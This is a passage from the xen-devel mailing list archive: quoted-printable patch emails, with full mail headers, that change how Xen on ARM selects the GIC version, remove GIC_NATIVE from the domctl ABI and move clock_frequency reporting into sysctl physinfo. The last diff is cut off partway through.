 #endif /* ARM_ARCH_CAPABILITIES_H */
diff --git a/tools/libs/light/libxl_arm=2Ec b/tools/libs/light/libxl_arm=
=2Ec
index 7e9f8a1bc3=2E=2Ef26ed261dc 100644
--- a/tools/libs/light/libxl_arm=2Ec
+++ b/tools/libs/light/libxl_arm=2Ec
@@ -196,9 +196,6 @@ int libxl__arch_domain_prepare_config(libxl__gc *gc,
     LOG(DEBUG, " - Allocate %u SPIs", config->arch=2Enr_spis);
=20
     switch (d_config->b_info=2Earch_arm=2Egic_version) {
-    case LIBXL_GIC_VERSION_DEFAULT:
-        config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
-        break;
     case LIBXL_GIC_VERSION_V2:
         config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V2;
         break;
@@ -1800,6 +1797,18 @@ int libxl__arch_domain_build_info_setdefault(libxl_=
_gc *gc,
     /* Trapping of unmapped accesses enabled by default=2E  */
     libxl_defbool_setdefault(&b_info->trap_unmapped_accesses, true);
=20
+    /* Pick the best GIC version available if none was requested=2E */
+    if (b_info->arch_arm=2Egic_version =3D=3D LIBXL_GIC_VERSION_DEFAULT) =
{
+        if (arch_capabilities_arm_gic_v3(physinfo->arch_capabilities))
+            b_info->arch_arm=2Egic_version =3D LIBXL_GIC_VERSION_V3;
+        else if (arch_capabilities_arm_gic_v2(physinfo->arch_capabilities=
))
+            b_info->arch_arm=2Egic_version =3D LIBXL_GIC_VERSION_V2;
+        else {
+            LOG(ERROR, "No supported GIC version found on this host");
+            return ERROR_FAIL;
+        }
+    }
+
     /* Sanitise SVE parameter */
     if (b_info->arch_arm=2Esve_vl) {
         unsigned int max_sve_vl =3D
diff --git a/tools/python/xen/lowlevel/xc/xc=2Ec b/tools/python/xen/lowlev=
el/xc/xc=2Ec
index 7a4bf54597=2E=2E0127b4b1b7 100644
--- a/tools/python/xen/lowlevel/xc/xc=2Ec
+++ b/tools/python/xen/lowlevel/xc/xc=2Ec
@@ -163,7 +163,23 @@ static PyObject *pyxc_domain_create(XcObject *self,
                                       ~(XEN_X86_EMU_VPCI |
                                         XEN_X86_EMU_USE_PIRQ);
 #elif defined (__arm__) || defined(__aarch64__)
-    config=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
+    {
+        xc_physinfo_t pinfo;
+
+        if ( xc_physinfo(self->xc_handle, &pinfo) !=3D 0 )
+            return pyxc_error_to_exception(self->xc_handle);
+
+        if ( arch_capabilities_arm_gic_v3(pinfo=2Earch_capabilities) )
+            config=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V3;
+        else if ( arch_capabilities_arm_gic_v2(pinfo=2Earch_capabilities)=
 )
+            config=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V2;
+        else
+        {
+            errno =3D EINVAL;
+            PyErr_SetFromErrno(xc_error_obj);
+            return NULL;
+        }
+    }
 #else
 #error Architecture not supported
 #endif
diff --git a/xen/arch/arm/dom0less-build=2Ec b/xen/arch/arm/dom0less-build=
=2Ec
index 3f48f74226=2E=2E5b01843db4 100644
--- a/xen/arch/arm/dom0less-build=2Ec
+++ b/xen/arch/arm/dom0less-build=2Ec
@@ -23,6 +23,7 @@
 #include <asm/arm64/sve=2Eh>
 #include <asm/domain_build=2Eh>
 #include <asm/firmware/sci=2Eh>
+#include <asm/gic=2Eh>
 #include <asm/grant_table=2Eh>
 #include <asm/setup=2Eh>
=20
@@ -368,7 +369,7 @@ int __init arch_parse_dom0less_node(struct dt_device_n=
ode *node,
     unsigned int flags =3D bd->create_flags;
     uint32_t val;
=20
-    d_cfg->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
+    d_cfg->arch=2Egic_version =3D gic_domctl_version();
     d_cfg->flags |=3D XEN_DOMCTL_CDF_hvm | XEN_DOMCTL_CDF_hap;
=20
     if ( domu_dt_sci_parse(node, d_cfg) )
diff --git a/xen/arch/arm/domain=2Ec b/xen/arch/arm/domain=2Ec
index baa3a5d708=2E=2Eb396d5e615 100644
--- a/xen/arch/arm/domain=2Ec
+++ b/xen/arch/arm/domain=2Ec
@@ -609,23 +609,16 @@ int arch_sanitise_domain_config(struct xen_domctl_cr=
eatedomain *config)
         return -EINVAL;
     }
=20
-    /* Fill in the native GIC version, passed back to the toolstack=2E */
-    if ( config->arch=2Egic_version =3D=3D XEN_DOMCTL_CONFIG_GIC_NATIVE )
+    /*
+     * The toolstack must pick a specific GIC version=2E Xen doesn't choo=
se on
+     * its behalf=2E It only checks the requested version matches what th=
e
+     * hardware actually has=2E There's currently no support to run a gue=
st on a
+     * GIC version other than the host's=2E
+     */
+    if ( config->arch=2Egic_version !=3D gic_domctl_version() )
     {
-        switch ( gic_hw_version() )
-        {
-        case GIC_V2:
-            config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V2;
-            break;
-
-        case GIC_V3:
-            config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V3;
-            break;
-
-        default:
-            ASSERT_UNREACHABLE();
-            return -EINVAL;
-        }
+        dprintk(XENLOG_INFO, "Unsupported GIC version\n");
+        return -EINVAL;
     }
=20
     /* max_vcpus depends on the GIC version, and Xen's compiled limit=2E =
*/
diff --git a/xen/arch/arm/domain_build=2Ec b/xen/arch/arm/domain_build=2Ec
index 550617f152=2E=2E2e00fc3e52 100644
--- a/xen/arch/arm/domain_build=2Ec
+++ b/xen/arch/arm/domain_build=2Ec
@@ -26,6 +26,7 @@
 #include <xen/warning=2Eh>
 #include <xen/static-shmem=2Eh>
 #include <asm/device=2Eh>
+#include <asm/gic=2Eh>
 #include <asm/setup=2Eh>
 #include <asm/tee/tee=2Eh>
 #include <asm/pci=2Eh>
@@ -1960,7 +1961,7 @@ void __init create_dom0(void)
     int rc;
=20
     /* The vGIC for DOM0 is exactly emulating the hardware GIC */
-    dom0_cfg=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
+    dom0_cfg=2Earch=2Egic_version =3D gic_domctl_version();
     dom0_cfg=2Earch=2Enr_spis =3D vgic_def_nr_spis();
     dom0_cfg=2Earch=2Etee_type =3D tee_get_type();
     dom0_cfg=2Emax_vcpus =3D dom0_max_vcpus();
diff --git a/xen/arch/arm/gic=2Ec b/xen/arch/arm/gic=2Ec
index ee75258fc3=2E=2Efc55a65159 100644
--- a/xen/arch/arm/gic=2Ec
+++ b/xen/arch/arm/gic=2Ec
@@ -56,6 +56,22 @@ enum gic_version gic_hw_version(void)
    return gic_hw_ops->info->hw_version;
 }
=20
+uint8_t gic_domctl_version(void)
+{
+    switch ( gic_hw_version() )
+    {
+    case GIC_V2:
+        return XEN_DOMCTL_CONFIG_GIC_V2;
+
+    case GIC_V3:
+        return XEN_DOMCTL_CONFIG_GIC_V3;
+
+    default:
+        ASSERT_UNREACHABLE();
+        return 0;
+    }
+}
+
 unsigned int gic_number_lines(void)
 {
     return gic_hw_ops->info->nr_lines;
diff --git a/xen/arch/arm/include/asm/gic=2Eh b/xen/arch/arm/include/asm/g=
ic=2Eh
index ff22dea40d=2E=2Ede6eabfadd 100644
--- a/xen/arch/arm/include/asm/gic=2Eh
+++ b/xen/arch/arm/include/asm/gic=2Eh
@@ -262,6 +262,12 @@ DECLARE_PER_CPU(uint64_t, lr_mask);
=20
 extern enum gic_version gic_hw_version(void);
=20
+/*
+ * The XEN_DOMCTL_CONFIG_GIC_* value matching the GIC version actually
+ * present on this host=2E
+ */
+extern uint8_t gic_domctl_version(void);
+
 /* Program the IRQ type into the GIC */
 void gic_set_irq_type(struct irq_desc *desc, unsigned int type);
=20
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.635.fa96f48aa331bd50.19f4c5192c3.fb37ab5d552954fb=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:57:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:57:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359408.1613011 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjX-0005Lu-GV; Fri, 10 Jul 2026 13:57:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359408.1613011; Fri, 10 Jul 2026 13:57:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjX-0005Ln-Dd; Fri, 10 Jul 2026 13:57:39 +0000
Received: by outflank-mailman (input) for mailman id 1359408;
 Fri, 10 Jul 2026 13:57:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c519a02000edb5@swg.vates.tech>)
 id 1wiBjW-0005GW-5N
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:57:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBjV-00HA2i-I7
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:57:37 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c519a02000edb5@swg.vates.tech>)
 id 6a50fa48-5cb7-0a2a0a5109dd-0a2a4508be1e-26
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:37 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c519a02000edb5@swg.vates.tech>)
 id 6a50fa51-ee29-0a2a45080019-b9ff1c228949-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:37 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4c519a02000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 13:57:24 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 57F8A820B8;
 Fri, 10 Jul 2026 15:57:23 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=eAaLaXlpBauEL4r5P7aIi0dp5PRbO/R+qCiYFdB+CdM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=LP2gHFIPKmCYdOgDYBIvA2p+SeOnMF6brUCYnQD7AdsJkqkPpJs7cZnBFJutKRMyQxIr11CUA
 3L9rRaFpPQSmlBawLWGQ1lobi2mOpTg+iZx4S15WRUbcj6HfKrDCNiBXvygPTPte2wnIGg3uvdc
 XcRE9vIk6DacG+AK2FdEtI6ftLoq1IKJtkPqURkeOdbNbHcTn/9SMZsLFw1DbLvHP82+OI6wyO+
 hkDNHg8CRQlzUH5Ci0vFO/NSbAZJX8XQrJ6UvXLFM4tpQIgaWE/KYhTCfbIzwN51//ENvjcWaRu
 MbvBu/ZrM1ZB//3g0X5TJP3klzdyfXjYjHN42snhu/zw==
X-Zone-Loop: 3c0e5d21878ce0d047bbbe7f94d0d927fc1facacecd3
x-campaign-type: default
x-transaction-id: 2de40a2b-346e-4036-8796-11ccf513b9b4
x-swg-uid: 01-65c0f6b8-9696-4d48-a4ca-aa66e27d7d64
X-Mailer: Sweego
Message-ID:
 <1783691844.8631fc262581453bbf619ec5b2062170.19f4c519a02000edb5@vates.tech>
x-swg-bid: 1783691844.8631fc262581453bbf619ec5b2062170.19f4c519a02000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v2 4/6] xen/arm: remove XEN_DOMCTL_CONFIG_GIC_NATIVE from the ABI
Date: Fri, 10 Jul 2026 15:57:09 +0200
In-Reply-To: <20260710135711.301993-1-julian.vetter@vates.tech>
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.636.de11ae9dddd797a1.19f4c51983e.163d8b81b304f109=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783691843646
X-purgate-ID: tlsNG-c1860d/1783691857-7A02C01C-D85BB92C/0/0
X-purgate-type: clean
X-purgate-size: 2192

---=Part.636.de11ae9dddd797a1.19f4c51983e.163d8b81b304f109=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

From: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Now that nothing resolves or relies on GIC_NATIVE (the previous patch
moved that decision entirely into the toolstack and Xen's own dom0/
dom0less builders), drop it from the public ABI=2E Every caller must
now request a concrete GIC_V2 or GIC_V3=2E

This is an incompatible change for any toolstack still passing 0
(formerly GIC_NATIVE) expecting Xen to auto-select a version, so bump
XEN_DOMCTL_INTERFACE_VERSION=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v2:
- New patch
---
 xen/include/public/arch-arm=2Eh | 1 -
 xen/include/public/domctl=2Eh   | 4 ++--
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/xen/include/public/arch-arm=2Eh b/xen/include/public/arch-arm=
=2Eh
index 7d6f87e8b2=2E=2E6987f5bdf4 100644
--- a/xen/include/public/arch-arm=2Eh
+++ b/xen/include/public/arch-arm=2Eh
@@ -319,7 +319,6 @@ DEFINE_XEN_GUEST_HANDLE(vcpu_guest_context_t);
  * struct xen_arch_domainconfig's ABI is covered by
  * XEN_DOMCTL_INTERFACE_VERSION=2E
  */
-#define XEN_DOMCTL_CONFIG_GIC_NATIVE    0
 #define XEN_DOMCTL_CONFIG_GIC_V2        1
 #define XEN_DOMCTL_CONFIG_GIC_V3        2
=20
diff --git a/xen/include/public/domctl=2Eh b/xen/include/public/domctl=2Eh
index 510300bb67=2E=2E4ca8a2d7ca 100644
--- a/xen/include/public/domctl=2Eh
+++ b/xen/include/public/domctl=2Eh
@@ -30,9 +30,9 @@
  * fields) don't require a change of the version=2E
  * Stable ops are NOT covered by XEN_DOMCTL_INTERFACE_VERSION!
  *
- * Last version bump: Xen 4=2E22
+ * Last version bump: Xen 4=2E23
  */
-#define XEN_DOMCTL_INTERFACE_VERSION 0x00000018
+#define XEN_DOMCTL_INTERFACE_VERSION 0x00000019
=20
 /*
  * NB=2E xen_domctl=2Edomain is an IN/OUT parameter for this operation=2E
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.636.de11ae9dddd797a1.19f4c51983e.163d8b81b304f109=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:57:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:57:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359410.1613020 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBja-0005ew-OJ; Fri, 10 Jul 2026 13:57:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359410.1613020; Fri, 10 Jul 2026 13:57:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBja-0005eg-L8; Fri, 10 Jul 2026 13:57:42 +0000
Received: by outflank-mailman (input) for mailman id 1359410;
 Fri, 10 Jul 2026 13:57:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c519ec3000edb5@swg.vates.tech>)
 id 1wiBjY-0005Xo-Hx
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:57:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBjX-00HA2i-V1
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:57:39 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c519ec3000edb5@swg.vates.tech>)
 id 6a50fa48-5cb7-0a2a0a5109dd-0a2a4508be1e-30
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:39 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c519ec3000edb5@swg.vates.tech>)
 id 6a50fa51-ee29-0a2a45080019-b9ff1c228949-4
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:39 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4c519ec3000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 13:57:25 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 93E3D820B8;
 Fri, 10 Jul 2026 15:57:24 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=16sKxeftDd8ktqsiEkky5QTKDjzl8Rr9xxHyfSgOWr4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=c2E1x1RRkAdJbBTHh5b5m075ZRsdCiDSik4go86sLmMNV4Jjv+KkeFuOh6N6AkV33ETxE8jfN
 9We1PDXCSGzZzzQzOny3HkMNQdJGQn1j0aA6H6EW1KEvvQCUlGnwouXljVJtqlp7cyDC2SkHWYI
 8PQjvXFIrNDwghvSojHlyAupLgeMCL8Hu/VVG7VEkOC4PRZt+/ZHjqZFad1krruM+s9MAbknT+D
 SPwIuS2K4DtVow+739nnFHrzACaXGJejf9PT5hxQ7xiXtWo/z43koJ75iaYbzqhYjjiy4oa1NiH
 DAPgjkmXdObB8Cbeo4Q548DtwSaLrfYlNas9kOU72Pxw==
X-Zone-Loop: 8ec528faedb145adb2e4b13e69eff1694e7d0c024776
x-campaign-type: default
x-transaction-id: cef7de02-c5f5-48e1-a057-79ca2008603b
x-swg-uid: 01-22cbb62f-b4d8-4ae1-83f7-efe7958311de
X-Mailer: Sweego
Message-ID:
 <1783691845.8631fc262581453bbf619ec5b2062170.19f4c519ec3000edb5@vates.tech>
x-swg-bid: 1783691845.8631fc262581453bbf619ec5b2062170.19f4c519ec3000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v2 5/6] xen/arm: report clock_frequency via sysctl physinfo, not createdomain
Date: Fri, 10 Jul 2026 15:57:10 +0200
In-Reply-To: <20260710135711.301993-1-julian.vetter@vates.tech>
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.637.6864a10c49021958.19f4c519d1e.100dfb6dad9a3340=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783691844894
X-purgate-ID: tlsNG-c1860d/1783691859-1316801C-6752FF9B/0/0
X-purgate-type: clean
X-purgate-size: 10277

---=Part.637.6864a10c49021958.19f4c519d1e.100dfb6dad9a3340=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

The xen_arch_domainconfig=2Eclock_frequency value is populated in
domain_vtimer_init() during XEN_DOMCTL_createdomain from the global
timer_dt_clock_frequency, which comes from the host's DT timer node and
has nothing to do with the domain being created=2E Like now removed
GIC_NATIVE resolution, this is a host-wide system property being
smuggled out through a domain-creation IN struct=2E

Expose it instead as a new arch_clock_frequency field in
XEN_SYSCTL_physinfo, populated via arch_do_physinfo(), and mirroring how
the GIC capability bits were already moved there=2E The
XEN_DOMCTL_INTERFACE_VERSION doesn't need to be bumped, because only a
previously zero'ed / ignored field is now used=2E

The xen_arch_domainconfig parameter passed to domain_vtimer_init() is no
longer needed, so drop that parameter entirely=2E libxl now fetches the
frequency via libxl_get_physinfo() in libxl__arch_domain_save_config()
instead of reading it back out of the createdomain reply=2E The OCaml
xen_arch_domainconfig mirror drops the field too=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v2:
- New patch
---
 tools/libs/light/libxl=2Ec          |  1 +
 tools/libs/light/libxl_arm=2Ec      | 13 ++++++++++++-
 tools/libs/light/libxl_types=2Eidl  |  1 +
 tools/ocaml/libs/xc/xenctrl=2Eml    |  1 -
 tools/ocaml/libs/xc/xenctrl=2Emli   |  1 -
 xen/arch/arm/domain=2Ec             |  2 +-
 xen/arch/arm/include/asm/vtimer=2Eh |  3 +--
 xen/arch/arm/sysctl=2Ec             |  3 +++
 xen/arch/arm/vtimer=2Ec             |  4 +---
 xen/include/public/arch-arm=2Eh     | 16 +---------------
 xen/include/public/sysctl=2Eh       | 13 ++++++++++++-
 11 files changed, 33 insertions(+), 25 deletions(-)

diff --git a/tools/libs/light/libxl=2Ec b/tools/libs/light/libxl=2Ec
index a1fe16274d=2E=2E2023385aa3 100644
--- a/tools/libs/light/libxl=2Ec
+++ b/tools/libs/light/libxl=2Ec
@@ -410,6 +410,7 @@ int libxl_get_physinfo(libxl_ctx *ctx, libxl_physinfo =
*physinfo)
     physinfo->cap_gnttab_v2 =3D
         !!(xcphysinfo=2Ecapabilities & XEN_SYSCTL_PHYSCAP_gnttab_v2);
     physinfo->arch_capabilities =3D xcphysinfo=2Earch_capabilities;
+    physinfo->arch_clock_frequency =3D xcphysinfo=2Earch_clock_frequency;
=20
     GC_FREE;
     return 0;
diff --git a/tools/libs/light/libxl_arm=2Ec b/tools/libs/light/libxl_arm=
=2Ec
index f26ed261dc=2E=2E4da7b26151 100644
--- a/tools/libs/light/libxl_arm=2Ec
+++ b/tools/libs/light/libxl_arm=2Ec
@@ -252,6 +252,9 @@ int libxl__arch_domain_save_config(libxl__gc *gc,
                                    libxl__domain_build_state *state,
                                    const struct xen_domctl_createdomain *=
config)
 {
+    libxl_physinfo info;
+    int rc;
+
     switch (config->arch=2Egic_version) {
     case XEN_DOMCTL_CONFIG_GIC_V2:
         d_config->b_info=2Earch_arm=2Egic_version =3D LIBXL_GIC_VERSION_V=
2;
@@ -264,7 +267,15 @@ int libxl__arch_domain_save_config(libxl__gc *gc,
         return ERROR_FAIL;
     }
=20
-    state->clock_frequency =3D config->arch=2Eclock_frequency;
+    libxl_physinfo_init(&info);
+    rc =3D libxl_get_physinfo(CTX, &info);
+    if (rc) {
+        LOG(ERROR, "failed to get physinfo");
+        libxl_physinfo_dispose(&info);
+        return ERROR_FAIL;
+    }
+    state->clock_frequency =3D info=2Earch_clock_frequency;
+    libxl_physinfo_dispose(&info);
=20
     return 0;
 }
diff --git a/tools/libs/light/libxl_types=2Eidl b/tools/libs/light/libxl_t=
ypes=2Eidl
index a7893460f0=2E=2E3cda5f8e2b 100644
--- a/tools/libs/light/libxl_types=2Eidl
+++ b/tools/libs/light/libxl_types=2Eidl
@@ -1201,6 +1201,7 @@ libxl_physinfo =3D Struct("physinfo", [
     ("cap_gnttab_v1", bool),
     ("cap_gnttab_v2", bool),
     ("arch_capabilities", uint32),
+    ("arch_clock_frequency", uint32), # ARM only
     ], dir=3DDIR_OUT)
=20
 libxl_connectorinfo =3D Struct("connectorinfo", [
diff --git a/tools/ocaml/libs/xc/xenctrl=2Eml b/tools/ocaml/libs/xc/xenctr=
l=2Eml
index 147afa62c2=2E=2E582897af6d 100644
--- a/tools/ocaml/libs/xc/xenctrl=2Eml
+++ b/tools/ocaml/libs/xc/xenctrl=2Eml
